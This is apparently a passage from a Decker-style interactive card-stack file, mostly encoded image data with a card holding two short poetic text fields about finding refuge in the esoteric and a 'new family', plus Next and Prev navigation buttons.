KRKRmf/m22s1tt7Nttttt7nW3bte+ftvN/f7+/3d/LTW2fmm2WttbPb/////dttyRyUIAAAAAAAESl///v272yAARk8k2bVs7bbTe2223bbu29tt659vff99v3//99+t225ObM1Zq2c/////+/a2mzGQQIAAAAAAACLf//v37tSEJEhi9z2tt5ttvbbbbbbbbu1u3bt27d/b3+3dt3/+azmra1s21rOby2/////9ts2s0hIJAAAAAAAIpv//3/7c0AEiGpvm25t22222229u23M97bbd7b/zfvb/9///eZrOszmTZrbc2Pt7//////3kzkyAIEAAAAAAAinv3/93szJBAYTa21Zs3Ntu222ze22f5zdu1tv2v++/tv77t/7m0tzW7NmpTWc23v/////fPnNkpIQQAAAAAABLM3///e9ICEglZtt376dts2223Ztt9Pvba3be3u277f+73v3ubT1Nlm2bbWc2zNbf//////O3MyARAAAAAAABElv//v95zYICEy1s2bM7bb22m23ttt8627ttt3v//f9t7/f//ZnNZmmTZlay2bNzdv////7fvdkbSEAAAAAAABGMv//v3rIwIJCZt65927bNtu22bb7bzuzdu/ttm2d3/37/27+2ZrNttmzSms03Lbe//////c3MwEiAAAAAAACMIT/3//bsiQgEkrbvltm29tstt7bbbPc3Ztpu73vf3bffu3/6ZrKZlm2bO202zO2Ztv////9+dqYmBAAAAAAAIJJt//3/baBBIk7Nsfbu2zbb22227bc123tvt7vu/f/99+/3f9ubbNNJs2Vlstszbt/////79/YykEAAAAAAAAISn///22ZIAAhJe3ZtNtvbbNtt27bb3drbbb2277du3339v/W5bWZttmTdms0zWm7Zv////925yZEIAAAAAABIQJf/3/+7UgjBIybft9ds229ttnt22ts23Ntt3bn/+/ffd+7/72WbLLbdktptrM7Tbu//////72xkIIAAAAABAAg1//997bJCERJZmZrZt22zbbut23bu7be29ne/bb99997/3/ba2bNJk25nMs2zWWt7f/////s2TIIAAAAAAAACDX///32JEARIzW3ubtttvbbO7a3dttttttvu57/t333/+/rfumbbbWzJtZtzNW6bW/////7d05IQEAAAAAAEAENf/fvebCQACSZubbbbts229ts223d22227u9z2//ffd2++/e82TLZttpnNNs2m7Nzb///793zyRIAAAAAAEAACV//v9+aAQiESs7e3bNt22zd2227Zttttrtt/35s999399b/12baTkzbOdZmytWe33v////+vLJAgAAAAAAAACLN///2ZmACESZm22bdtttvZtu2znttttu3ds3n9733/v/1vvZszbNrJZpbNNtmZrXe///+766SSAAAAAAQAAAGN//+/dGIIEIlO2t7bbbts3s223ObbbbbbZ7/fb/vfe+7sbe7mzW1u2zmyZs1O7m237////vr2SIAAAAAAAAAATN/++9dAgAIkZm9m27bNt2b7dt77bbbbdv7s9/t+9977/pd/bNmTJTbNbbrZczPW2Xv//9+/WWQgAAAAAAAAADNv///7WCAgRJG1u2zbdtt7Ns2zO22222227729n733v7yT/dtm3vXltk2bN522W19+//777dslCEAAAAAAAAACa///baYABBIZlbtvbbbbm927bc2233bbtzuvb/fvf+/1KLf2tmTbOTOyZaTmzbnWz7///v/smQEIgAAAAAAASZt///2xkAEiRltm2227bOzXbt31ttndttn2+/b8+93+3Ey3trW3Ks7M27Teanmmc7v3///bbtJkAgAAAAAAAARW9/222SAASJDKfbW2zbdvdtm2bttvbb3ft2ze3773d/wTTfvNmazW7UzbU5uW3227f////3tkgEAQAAAAAAAhTN///25IAACJJpNttvbbc2zdt7tt7bbtZt3v+/fvv9/8gVtuem23MzN2TmzZtnGdz93v/3fbbJIRAAAAAAAACSN///umwQIkIjG22222252vZtm3bbbbt3t9uz99++7+7CxTvbPmZbmak7OtZm2u9nz3//v9/ZpAhEAAAAAAAAIzb//++bAAggSMbNtbbbbts3tu3bbbbtud57/n3377974BJO+2O5zO7u20sz7NrpO3v37//2/jLCAAAAAAAACQmZv//95IiBCRI0ss21ttbt2bbtu2223a937m/fffv338ES0z3czzbMlsztujs3Pttu3v///6fIMZCAAAAAAABITbf//32gBECSSTZszbbbNt7bNu2223b22bfb999+3f9ARDXNnWTzN3M2tM2ntcbdt/ve/e/9bQwEAAAAAkAiEmZ9//fbJEASJIsJM2tbO9bm29tttttu3d+93v333/97wAEk9uc9nbNNszbV2M15tbU/f//+3aWCQAAAAAARCJKTT//+7skAAEEgyZMySeZ7O2zbdtttu2327beffe233sESSjbzs2Xa2ZnLNl7bW2bd7fffv/e08JAgAAAQBECImfb//72YEEkSFCRMlu1trdtvbZttt7e7Pdu9999//ffAAJMbPM5tXNpua2tmttbbbu+9///+2hSEggAAAkASZSY3v//3ZkABCJEiQMiWW7bds23t7bbc9+127333229/QAgRyc3Ztmc3ptmbazTm22u773v+++uSIAAAAIASiRFkzf///ukAEEBCCJYiE7bbZt22bbbt2923v3vfff/728ACTC22dzOzpNmc5ZtvO227bNvf+99sygkIEAARCKSSWbtv/++5BAQVCIQhEmm223t227bbu29u3s3e999tvv7AAAEmc5TNnO53Zzz0y7m23d++/3//92mAIIAEBGIkmosre//9pkBBACExCEEMzbbbbtu2227tu/P3t732/++3w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[251,58],&#34;pos&#34;:[247,215],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my third refuge was the esoteric.\n\nbones and black candles, ram&#39;s horns and spirals and song.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[211,19],&#34;pos&#34;:[285,279],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my new family taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{card:card5}&#xA;image:&#34;%%IMG0AgABVtu0z5bZ2m06yZk20825tttmbW5ttk2plaWZr/990/////////7b///3//////+aCTb///////////9/+d3///8kzkm2ZjNrTtuziTmzTk0mm2WVpMmyqlIspkf/73f///////v///////////7/wqRbn/////////+3/9/3f///bWNsqTKlmsUybO2mZnNptNk7dZpNpkpKyiRb/vtsn///////////7////////8iSSf///f////9+//v2/////5s5kmmbnKS1bMQkls2ZqttlmkxbNkxRqBJJk//e2D//9////////+////////AkSQT///////////t/vbv///9ijLcWSVMlLIkzM1KZZjZJLMuzZaJTFCZkyif/99lf//////8////3f////3/yJSSyb//////////+39/P3///NuZps2Zs2YqzJMprMybFbZtkmSTNMYUSSSJv/720T/////////////f/////8pEkiZv///////////d2/////5SbCMyUjJJiTMyZrMy5OZJiNsyaGYxjURIkh//+5I//9////////+2//9f3//ZIkkztv/////////+/+//////LSeZUs2MklW1TJJNJiSazLJJmQmZkSEySlJP/97o/////3//////u/8OP5//xikkid///////////7/9/////aWRbUyk0yZUjMmZ0ZmbMjanNEWWQMyyCSJMv//26b///////////+//jj////OJJI3Pb/////7/////9/////ySXSTTMzNpkmIyTDZmYmWiTNZmYNYiCMkxIp//vbI3/////////////zzv////xJLy+3/////7////3//////+2kmSmUzMiSZzFkdJSSzMmVJJmEskskkkzJhP/+9Yb/////////////88b////7JI/t7f/////////////////kmmUmTJJKZpmckxSVmSMllTKScyIYlkkgiFb//7aQz///////////+////+f/wJJb9n//////////////////0kNs0mMyZImSRpmTZmUxNmTKZkjNhpEkkyZR///bJI///////////3P93/9v/+SST//7/////////////////9tZElM1ZTWYZmEkzTJkzMkqTQmMkGRJIkhBCX/9bYk///////////PPAc//3//cSSOe/v/////////////////JNZMZFJmSYy2ZZmWbmkpJmSUpMyZZSRkkmSX//+3IB/////////93zBPP/////ySA07////7/////////////5YTMycqKSCSRJkk0yJMyZkWQpklpkxJEJISk//72Qpf//////5/v/byAz/////ySWHn/////n/////////////TaZGZqZm2czWSZlmbMkZZkTpKJGCSSRJJkkv//n7JB////////fv/sLM/v///+SQbP///////v////////9//SUzMSJZMgwySZhkkyYkwxkwjJtsbMiTJJCRLf/+mgSP/f/n////f/wkFH/////kkg7P///v/v////////////60yZmZTImkkykmBrGTMjSTJjLECSSmSCSSJJ//7+zCZ/z////////xMTM/////4kmT//////v////////////+krjGTSbMpZmmYrJM2UmU5JNKNNMzISSRJIiX//lsGQfsx/////3/3FhYH////+kkS////3//f////////////MomZEToZhhkkpiJzEzMyyzZSZMyyUkkkkkyX///ZyEx/8/39v///946WJ/////Mlm/////b//v/////9t/f//5plhmyGyLLJlmVJjMiMikjDLTKLAxYySSJBE3/77kki/9ul//v//+vPJ5P////wkkX/////////////+/2////DNGSK0MZIZlMZEmSsyMk2GSGaYlmRhJJIM03//rbBE///h//z//+B5z/j/9//7JJF////+/+9//////tvu5//WRZZsnYzSxFJkkZWJmZEkaTMyVlMbBEkkwxH//+1sk3//9P/9/9+Jfef/P///+JNMf///7/v7//////f/vv3/yTDSRUJkKTZLMaxmdMzMsyskmWVJIlJIQTAk3//bSQn//5////f+CDz3/7////JLAj//////7/////////t9/+mOKZNqUy0jLJojKQZGKpiSzMWJLMySIhkMif//+7En//+//b/j9kOf8//////kyzHf//+///3///////7/1//mYyy4mZmEyaTKyKmycSFMzBM0mmJRiYmEwkm//7a0I///5/3/8fAxz3//////8fJEf//////fc///////vv//0lGSTJUkYliTJJqWSQyVIyWyEmSSTGQkJDJG///tmI/////6fuXhh8+////////2RP//////+////////e///9kc00ZkzSsmWmUjUUmkkjEyTMslmSYSRJMJMd//7cpH////8nzmDAPnj9v//////RIf/////++/////f9/9///JoixzSlkppUmZbEk2MyjMy0mpmU0xkhJIyQT//75pE////+T/7wxLw8P///////5KT//////87P///+9/3///5IskkTMixFkkkkmmIklLJkkyJMhAySSSQiTJt//ntCP////hN/5kQ+/j//3////+I///7///N/////7///+//9ZpUxyRKjNKtk2TMsnMxKE0zNZLMyZJJJEkI3//+ZZJ/9//6ceCHhP3+////////pe///f//d97/////9/////SRNnGzMmIZpEktEkkcjSZhmURMRUwiEkkkyTf//7ZEf+P/+TPwI6P//34///f//ZP///9//373////2//////yZYkUkSUpzFNskWNNhMCSmkzZZTEyySSJJCR///WzJRxw//j3+SeJ///////3//zP///////u/f////+//9v/+wzJlkzMlGNZJNSMZOU2kIpiEyWMikkkkkkmW//9zZBxZP/M//kHwf//////+P/4r////9//u9///7+3//////TCZmJiMtUySTMSZZIZCM0lm2SYZMkkkkSSyN///vkS/kk/zP/8l8f/7//7/+//8z///////793////3//////0sxJJmYkJjKbKazEyRmIkZSSMwyMzMJIkIhJ3//uWSM+Cf8P/+ZOT//f//e/3//m/n///7//97f///v+//+//8iyZmQRtZmWkmYiMSeGSZZk0skyYSMZJISkhPf/+9sRokv+T///Hg////43/3//8/z///7////////v///////MgySTGEjEyWSSSQkw4FRJmyxMyxsyQSElJKO///emRCCX/1vf/x8v////P////P/+///+//+f////8///////81kZkMpKZmktmZnMjBmUmSKJMiSCySSZERIpv//t7CBIh/9/z/8vD/e///////X/9////b///f////n//////9JEymSLMykkiWSmMqZGIyZsspKQ7AySBkjJCe///dmKBiE//5//Ds//P//////1/9/////////////////////MpKYs4ZSZltJMkIkxsMlikxJJmxGykmBKIUT9//fSSJAKP////8/v39////v/+f/f//v//f/3////////////5TMxiRjMklE2klNlSSksSZJNTEkWQkgZIiRTX///7cERQp/////P/5+////////9//////9////////v/////9NJGTMWImZNJLMkREpMgzRsyTJEgM0kgSSJE/ff++3SRFM//////98/////9//////////3/9/////////////YmcxExLMppMkkmZmSkliWSTJDNLMxJKSRIkj////75ASZn//////+f/////////+/////3///////////////5JIjSDKUyTJbSSYktKNMyZM2TJIZJkkSREmJ/v/3e+E2HP//////7J///////////////vv////////7/////+TKsksKTNZLJMpiySUoYyk0yTGKxMmSSEkQJf////2oTl///T//f/Y////////f/3////+//////////v/////KKYywyUsSzMwmSTNJEihmTJmSYk5JJIkiRkT/n//95hof//w/OR//////////////////7f////////9/////2qRlhmUyaTJTMTUmTNOLEtJEzJMyVkkkkkkTf/+//9Cev//9v7gP//////////////////9//////////////9GWUmkclMxJkYyUiJJIZNkzZCMYkZJIRhEkk///+/9wtl///P+CT//////////////b///////////////////kYpiZSZMzTKzJimsmKSRNDJkpZsypJlDMkkn//9//5j1f//hFkS/v///////9////////////////////////5TktlMpJJLIiMmkIyaSTJMkzTCRmZSEQgpJPf/////Btn//ZZ/3//////7/9/f///+//////////////n////tmFYSYybMyTWkZEzJESybJTRJKZERSYjuLJI9//7//2bp//2Df/H3/////////////7/////////////9/////SZJRjSZJSTEmZMmY2WCiZNJySy1LIwmD4SRP3////9rPv/+mv/9+/+f////v////////////////////f////5hqWmUwTM2KkyYshiIcmTYyiZGTKKyQS+WTx9//3/9/9//+YP/7///7////////9/+//v///////////7////8mISJClrIkZlkRpGUkhRGCjIk2UiSYlhPlz/93/3///z///HvH////+X//////////7/v///+3////////////ZZylmkmLMzFJyRMZGaRmaaM2SSyWQ3kl8cN//+/////v////1//////////9///////////1/////////////xBCmaTJLMqZJipSQsIzJIwwQMmlkkw/KfLh/+/v///////////////////37/////////t//3/////////////NZkoklKUoxLImlNJmyJmTHTS2RGmRn5n67Pv98//////8/9z9/////7/+//////////////vN////////////pSEk2zKTJmaS0SUZGEzKYcGMhNpJMl/22HOf97///f///3+fPP//////79/3//9/+//////3/////////////yIytQJI2NMYmRlpZZMzJiw2Y2kjJkoN7vlz5t75/t//+///n7///////7/+///9//7//////3////////////8alkMxiyZYyWTEmgxkiJGmIRErLKSJp+t5Ofn/77/f//H/v////z//////7////+///////83f//v/////////wJFYzLImTJZElJKyTMyZMYzUkkmZNCP53J3+f39tv//z/////////v///////7//////////v////////////1tJJiZJmYNkmzJkkpJkykxmJlSSSQSZtvaf35/f9/3/9/9+////9/////+T////////////8/7///////////8kTKExJMkyIaFLDMymJGaLMalMtiTkgPa/n///+////+////5//b/9/f////3//////v////7/////////////lJKcyZYmTJpsSWshIZMQsYwlIySkMmZ97+f/7X+/fv/7/13/f////3///73d//////v////v/7///////////0ZkwghTMsmSizRIJkxTWSRjVLJJIwkQO37l//tt////3/9f/////9f////97z////////////////////////9hDSsmSZkyZKKVlpjJJEZNMlKZmRjJEy72+P/77/+5////97////3c////23v//////////9//////////////mZMpZazMTJk0xLGTMymS0pSaTKTGBMTe9ft/t7f//////7/////9/////+7f////////////f////////////5JklEkiZZMLSTKJJITKaDJNoSJmYmQkT6+7f/6Zf////f+/n3/9v7////87/b///////b////////////////9MmVSZSxJk5MkaZmyZEicsyGWbERmZMSbn/PnP/3//////7v///+777f//23///////9b/////////////////SZJDJlmaLJS2whEDQ1WRhSZMRJSREk+Xff+/82P//////3////7/7/9////f//f////f/////////////////5JksmSUYYkzBJmZmGRMSGExkmTEhGSP9/v/P9tt//////+3////+//f///////3///+f/////////////////82LJmTJRTTImkkymYkoysazLKZM2skk3u2/f5t+9/////9v/////7//////7//+///////////////////////wYNJMmmWMsmZZkhBmZikyhIkiSRIkkEGP//j/5/f////9/v///+3//////7///3///3//+///////////////yzZJkySYyRZBkkzORJJmGWzTKZJJJksx///37Zn//////7//////b/////////++/7///////////////////+mGJJJlkmZJmSSTIlkZFMUiVEimZJEI3n//9m3/d//////9////N///////3///n//7///////////////////kUbJsmSYSySZtsKWSZZMyJhTKKRZZJ+4f/+u39t//////////9/3f/////////+//////////////////////1lkbIZJpmLZkkSaZJIhpKtGSMyFRSmc5z/+7t7////////v////7f////////7Pv/////////////////////9GGQZpmSWYhEzJJJGsrDMkZJpFMSSSZ7Tef/n7/f/////+/9//tvu/3///////A9//////////////////////MpMxKSZITDZlKyUpJImIZZkiMUpolP35v///Lb////////////6e//f//////9j///7//////////////////4iQzSZhU2WTJSTZZlMyKxkSZIpKC2WtPP//5fbf///3///////t7b3//////+dEf//7//////7///////////9qZkmQmTSSSSmUkkJIRmTKZJlKIaErq+f7/+f//3/////+/////3u////////xsz////////f3////////////SSkyWSaEmmSaUyYZmxGUpiWDMaUsifq/v////////////9/f///fu///////v5me///7/vf//f///////////4UplEZkmmMkwkkppKFkMySYZIQcwpTb/99/79//////f/9///53tvf/////7+7GX/////7//+////////////+yTM0kkSMRkzJMyKYkjYhZkhEywhlkTf3/+/9/////////+////X///////7/z7s/vf///+//7////////////KZJhpZJkzFIMphJZVJFlREbTSGZlCX37f+/79/////7//25////73////3/9/nL/uH/////+33/////2/////2RjGJhKGCJMyZGzEVNmFTNhGEsZktlvb/B///////////Pv//+///3//////9/lfML///////f///f///////9GTM5DKYcyIyZSSMwgKNKILGYkkJISN//7D3//////////vb///v/9/////79/v///7///////////3/9/////GZkhVKSkzZhiTMkkrJkmZpJCkKZliIW/Z/v/3////////93v///v3/////737/9u/e/////73///3/v/3////8RjNRCSMJBGWSUmMwrGZFJKmJshJGkn7wf//9////////pn///9/+///////ft/u7S///////////////f///+zJJCmWQ42Yw0yJMliSZMZIIRCTYpJMtOf/////////////7//////v7//////399u+/////+///9/7///////GJmaKUnJIxjiypkkTGkYxZplJJCZlJvzo/9///////////v////7///////e///NS9k////7///9/////////8bKY0kmUYjEMgmKJZGGZCRJEzGWZJSLaY/////////3////7///3/////////v//3ln5/////////////////8kJkhMkFZZJxm0Zsi2MpMyZMiMQwZJI/Jn//////////+/7f/////////9////3fufbf////f/////////////szGSspZCRklEklEqIZiYkpIkomjZYzEkkf//////3/////+///////////////3887Mf///ff////////////xjMkohhmZJYZkqSQkxGRIyTMkkogRiNpJX//////3/////f/3//////////////19z7/7//7f/////////////JJkwlGJQzJpEkmlmTJNJhJMJNJjZGRJJE/9v//9///////f/////////////v/nt/z///////////////////SzEhJIZmjKKUkySSMLMZEmAZkZEiZFJZKf7//////t////++///////////////vv////+v3/////////+///zLMJJChCMiYSMhkksySRRkTRJRSyZmSRKL77/////f//3//+//////////////f9e///////f/////////7//+QiZJJKWszSUommyxDLJLFEkzMyhkSJJSSvzfP///9P3/f/t//////////////fzdvf/////Pf//B/////3///zTBJREghCWYiIpDFMkiokUkjIylkZmSTVHf+f///7//f///3///////////////+//////6fd77P//////f//yTGSRESnMwQkpkmUyjSZJJJMTEkCymSSQV8z9/////933//ff///+/////////3+/7///7zt1/+//////////8yERJJJJIykkiEYkjKExJmJkyMk5JIGSSxb7v5////+/f//+///////////////q//3///vXzO////////////ySREiIEjAskkZJmmMySJIaTKSkhkxsWSGht6//////7+37//////ff////////v9/////e//s/////v///3//0kkkSZJKMgkkwmEMYTIpRgRIkJsSTJQykLG7/ff////er//n////9//////////X/////3+7f9///////////8ySSRgSIhMIkiSZkxMGmTGUiSSBZMZGiNsIz3/////9fv37/////////////////v/////Pf//////////////EkkpCRJGMZgIkhmGU2IYkYyUs1EkxaUwkZ/3m+////2vf//////+79////////////////////v//////////8iSSSRGUYJFpkkRMSEMxjElkgxSTGQlGJP2fv5/////O8v/f////7////////////////2/f/9///////////+kkkZEkRBIRCEkzMksxSNMYEmhmsMbGMZO/9//////9/b////////7///////////////+/2/59///////////JEkwmSSaSTJMkiIsyLEoghskskEyksolK7////////f/v//////////////////uf//3/v///+7//////////0kkiSJIwiYJEkkzIksalrLBlExVCKQiSSHn/+//////b+3//////////////////5///b2///97v/v////////ZkkpIihSkyWJJTNJJQpEsNEkRkMytMZjcfpv/////+/b9///////////////////n///tv///N///////////BlkmSSSTESQZJEiUkWTNIw0rMiYySYwmQwi/f/////7b9////////////////f//9f/+9/////3f/f////7//3bNs39/7d2322+3NbadZNrJpMypRVJKySiL5//////3/+3///////////////v///3//77///f/d2////+33/+RJkkSQSzK2WbYtWssyTbS8lTJmbWyczMs5f/f/////e////////////////////////n/////33/v/////f//iTCMgJSSYkkkkwkoySaSFhZTMkYkjJUs0zW8////////9//////////////d+//+//7///////v//9///c93/2jJoqySQxEkkSRihEZAiSEEiEpkymSRiptbP///////3///////////////997/////v/////9////////7/b8MiSIiSTGUkkkkklMw2SSJaStJGRszTNMkyf//////////////////////////v///////////9////////v//MiRMkkkMxJJIkhlImgRk2EkklUJhGSZVZSee//////9/////////////////f///////+//////////////bf8JmUSkkwkkkkklJJIJmSQZElLJsmcSzJJk2+///////3/////////////////7//////+////9////f///n+/8ZEhJJJDMySSSJJJZlEZJhlMkmkwYkmKqak+//////////////////////////3//v///////////////////fRJGKRJMJhJJJJJJBGSgmGSJJSZJks0yaYku//////////////////////////9///7f//////9////////++f0ikYTJIyMkmQkSRKZJKyMRJMlJMsZkmUykv////////9/////////////////////L3v//////////////29/cqJBSJJCZJIJSSDJJkkhkklITMYYxEs0yMud////////9////////////////////e3f///////f//////////iRMSSSUjJkokkmJMCSUkkyTNIzZLNJkk0p1//////////////////////////93/39/f///////////////+f5FIySSRmbCTIkkCYbJMpJJpMWkRMYtMsxJ37/////////////////////////3///t/////3//+//////////9kSIkkkkSEkJkkmQoUkiMoiQSZmZRiRMhkjv+/////////////////////f///e/9v63//////////////////DIYkkmQkySSEJIRJRJGYSiRmhmZNGLMtJal///////////////////////3//////v/////7//9//////////1IxIkkNiyJJJJEiRGJkRMZSmORJY02ZMxkz///////////////////////8//3v///f/////t7///////////9TSJJEsEiSSTJJKJIpCSUxSIJZmRjETMTCWn//////////////////////73f/v///f/////f377//////////JEpJEIZSySRJJAiiiTEiCSZmSmbKM2Z0psm///////////////////////7////////////9/////////////6SySTMhIkkRCSTDCZJEmMiRGaZIppkxkzKmf////////////////////7//n/v/////////////////////3/8ShJJIKSkSQmRJJFAkkgQmTMExmzGMmSzMtl/////////////////////v/3/9/////////////////////v//WFEkhIiJhEiSSRGWZJJlkSIsSCRMYs5kTVGf/////////////9////////9m/////////////////////ve//0caSTJmRmSSEiTMIQlJEEklJY7MyzJi0zNdfv///////////////////////3//////////+/////////////8wwkkIEVJIkkmSAkkjCEokzJJiUzKZMptmZk////////////9/53///////9////////////////7/////////iSSSwxERiSSICLJIkKYikhJJWTJMzYyk2Zrf/////////////f//v//////X///////////////33/////3//2UkkhDMhKREpMkJJkyRkJkxLMUsyWTNJJlpu3////////////9//////7//9////////////////3//////f/8UkkkkIKZFEREkSCECSExEzKIyyTMycVtmTE///////////+///X/////////////////////////v////////IkpJJQYjGSISEkKZMkYjJIJZmjMkmwpJJrbe/v/////////5/v//9//////7//////////////3//////////6tJJJDQmMJIiMIyRJExkJIzBMMmzMmrNpmTO+93//////////+3v/7////////////////////////////9//+IMSSGCQJkkkkJhESUiEySSKY0yFMkqZLMyb+/3//////////9+/////9/////////////////////////t///k4SSYCJJEJEQJCUyZIpCSUyZJJsZNmzMxmyf///////////3/3b//////3///////////////////////////2RIkgmIiEpEhpEhCQkiUkkiSUsiyZMSZTM233///////////////////7///9/////////////////////f//8pSyCABCIAACCSSMkiSREkomTIzKZJljNpkn/f////////////7////3///39///////////////7f/////7//iTBJNmX6lTMpJkwkmJSZEkySNjExbGWYnM3////////////+b3/////9///d7/c//////////////////////1JGkkETXpEIiSATJISkhJJEkpMmTSZpTLJs/////////////3vf////7//827////////////////////////9GSJJJHtfkyJJJkJJmSSSJMkjIyZKRjGdLI3///////////+/f/////+d//3v9v7f/v////////////////+//KSJJCPb1ZCZMyETJGRJmZJklJliy2TMxWbp/////////+//3/////3/t///v///9v////////////////////4kzJGZtvfkhJSZJJIEkkRJBMTMWTEtClJSL/////////+///f/////H6////m///fv////////////9//////9kiISQ2888kSYhIiSsyRESTIzIpUMkmsamy/+3//3/////////////+D39/3fr/3/v///////////7////////EKSSEt577pRLmSSSIhJMySSiTKkytKZpOTf////3///////////////f///b3n/73////////////t7f/////5YkSUW3/vskmMSRkkmSQiQyImZKmIkkmc2l/t///////3/7//////f/////u9/3vff////////////b//////9JkyRJ+7e/IiZkkklISTIliU2TUslmyZZEuRv////+///9+//////9////9//zt7e////////////9/3//////SRiRI27970knM0pJMySJiEkwmJQlEjJksy7//f/+////99//////v/////5//vr//v////////////3//////yRkxJPf332ZGZhiNISSSEpEhmSltJmWWZpi7f//3/////7e3/////+////927//mf/////////////v+/////81hRJO93f3pM+NiYZMSkZCMlEWaQpkyZJM2T1v3+//3//9u/////9//3////7/3/9t////////////////////xDJJI73+3yYm5CxJMyMxMYhMyRppEiym5ZZbu/+7////9+9////9+v////+3//fv+/////////////v//////xJKYSfv+/+ZJzNiZICYiQxJiaWSkzMmaTZmzv///7/9//99////9//////////f/Nv///////////////////9iSYxLe79/xM2ZExJMSIpCRjI0ZJJM0RkSSbbP/+//93//f9//3////////+97/7f/////////////////////jLIiS9/v9zIbzNSZSUpiUjDExk0oyRXGyZo/e/5+7/5//3////u/7/+///99/+/77////////////////////5EKSSb/ff+bYmZMpTIjERKKVZGTaiZkZm2m2/c/2+//n//v///v/3/////9//3///v///9///////////////9SZZEnt/ffyE4xoiSSkRSIixJJIBMykzG2bN39/Pt/33//v////ff/////P//7//f////92///////////////SpSSUf3//maTmbNJiRzEpGCKbM7MyZmZIkk3b/unJ+dP//f///1v/////+/z/////////9////////f//////ykSSJX/b/8ymcxMUmRiYiQkqYZSIQxkzWmbN9/rvf//s//f///v//////+v///+///////2//////////////+EZUmN9///mSZmSZYWiRhJlKSRMzMzFmTNZt7//8/a/Lv//////5//////v////7f/////////////////////UskkYv///M1ms2ZhkSWFElJM2YzMxNMylFiff/7/z/fb///////3/////////////////////////////////1gSkhp///5km5mSGExUZURJQwxkiFkpimeWf//Obv2f/P3/t/+///////////////////////////////////+HZMmJv//7MopmWZNjEhhJJDJjEjMLLGs4s1//+7Y+8//9/97////////3/////+f/////////////////////sC0kZJ//85pm2szMEKOSmZKZktrMpMZJioyfc+3f9r/////f//v/////3//////////////////////7/////xKJJEZv//zJNpqkY0yYZJISxJgkkLRTNM2zP9//33/////////d////////////////9//////////+/v/////aksmZZ//NJYtlMxhmTEkmRCSnJTMTMYZySX3393Pb/f////////////+//////////////////////9//////IWYSJZv/02RLTVmVEmMSQUkrJNkJSIxpE01f7/23/+///f9//+/////////////////7///////////7/////yUpkmb6e3ybNvNMZMmIxlkiSTJCZIzTKc0zH++/3+9//+/f////////////////////7//////////+//////9MmUkaT60vkiSaZSpkJJEkksTJLJazMpZsyP//+///3/+/////9////39/////////9//v////////////////yMRJE7W3y2TPbJmLFrMshJA0laSQSIzSI05f//+/d/9/3//////////b///////////f+///////////3////yYmkmT///OZE2WSZJKIQlJNIzBTJQrJGZkzPf/vz//v/+X/////////7v//////93r//////////////3////8zMpJNTuy1iTSbbJTITNJKQUmOSM2yZMzW2b////zfMr/53////////bv3/////////n/3/////////7P/////iUlJF3//veSN6EmTKUMZITJIwyYQlRRiRJSf/9/3/9u//n////////t7v//////u///+/////////////////2hNSTHTdtuSZzaaaGYwSSSIpjExNkVTGzM2f///v++d/pf//////////v//////////t/////////////////9GsSSM997bkxbU5kyRjYZMmTGcyYNpIkmZYz/////f5/733///////9Lf////////////////////////7////kobEjb359aSS2yWTEWIwkkUJIiiYKYykzJmf//tv/3/9n//////////vf////////////////////////////zJokmLLL3TIrypZMmxKTJJEySaGZJZRlmaU3v/f+////e3////////ve+////////////////////////////9MSxIa/u/bkiWtykmDGZMkkiTJcwbRNlESZl///b73/3dv////////+978////////////////////P//f////xTJJjLbZ26Uc0SrMUWQwyTIkmRDZDSRNUyk////v+/2zP//////////X/////////////////////////////zGMyGWtnvTJRtapk0yExJJJmSSWJGTJpMyZn//3e/+U35f//////////93///////////////////////////8UZJIbu7u7klM2tFJimRQkiEMmySaSSjIkxn///fr812/f////////////////////////////////////////xjISitrmy8SdqUZMkktTKSZIkmNYkybLMzI///+9b2t////////////v////7////////////////////////0mLSKzudtmxJMlbIRRkSUkxKZkYw2mxDMkpn3//7W+u3/////////////v/9/////////////////////////9pKUklqfm9iSd2obZNESxEkSRlFCRMGWTMzN//+/u/v7///////////////9/f////////////////////////imSSTLvdtcpbNqyRo1siUkyTBMZZksZTMxI//37e3f//+////////////v/vd////////b///////////////zJMkkrn/tWSSMlsyTBCkxJCSJpJhmJkmRJjP///9VRf5/z/////////9/v9u9////////////////////////9Ek0krnSp3kSbbEypNJJSkk0mSMLBNGYnMmN///31nf+/v/////////////+7bv///3///////////////////1bJJJN//sySdtNikxJkkiSwySYYtkZJmJSZf/9/bOf/z//////////////9//v////e3/////////////////xJMhJZy1s2kl2bMlTKCZkkhhmRZSTZmUmUhP//++5v//7f//////////+7792////9t////v/////////////9iSbCWf//bEkfZJzMSZhlEyTGWQ1JIiZmZub//v+zM//7v/////////////vf/////v3v/////////////////mbMGRYkhJ0k/22FIySmJMklMESiWyzIkikyf///9t/////////////////7bN////Puf///3///////////v/5SUyE8rbayJBJacySSIZgkkQ0kqiJJMzOZGf//3tm////////////////77/+3////+//////v///////////9GTCMn9Jn+pJbk1iZmUyGklJlmRmM0xTMxkT////tb/////////////////+z7/////v///P7f////////////WWMkIf///kSfu2WyGUSYpJIkElE0xTMkTG2ffv/dn/////////////////3/9////+f3//+7/////////////5MpkZgf//USJZs5CYE0liJJpZmZDBkozUsif//39O/f////////////////97////f/X///3v////////////+kmRJGlJIUoiZkymlskmEZJCJkJMmmzJExmT///v5m////////////////+3/f///9/////ff/////////////KUZIQJbNyIib2yaSSMkJkSWaRsZiYlM2lE2//+/7Nf///////////////v////////+9////1////////////0syhTJAIQpInZrslpMllEyQyZhZGkkkyM1kv/+/+Zn////////////////////////f///22/////////////8wmaSKWzZmRhbskzC0JGVCziSl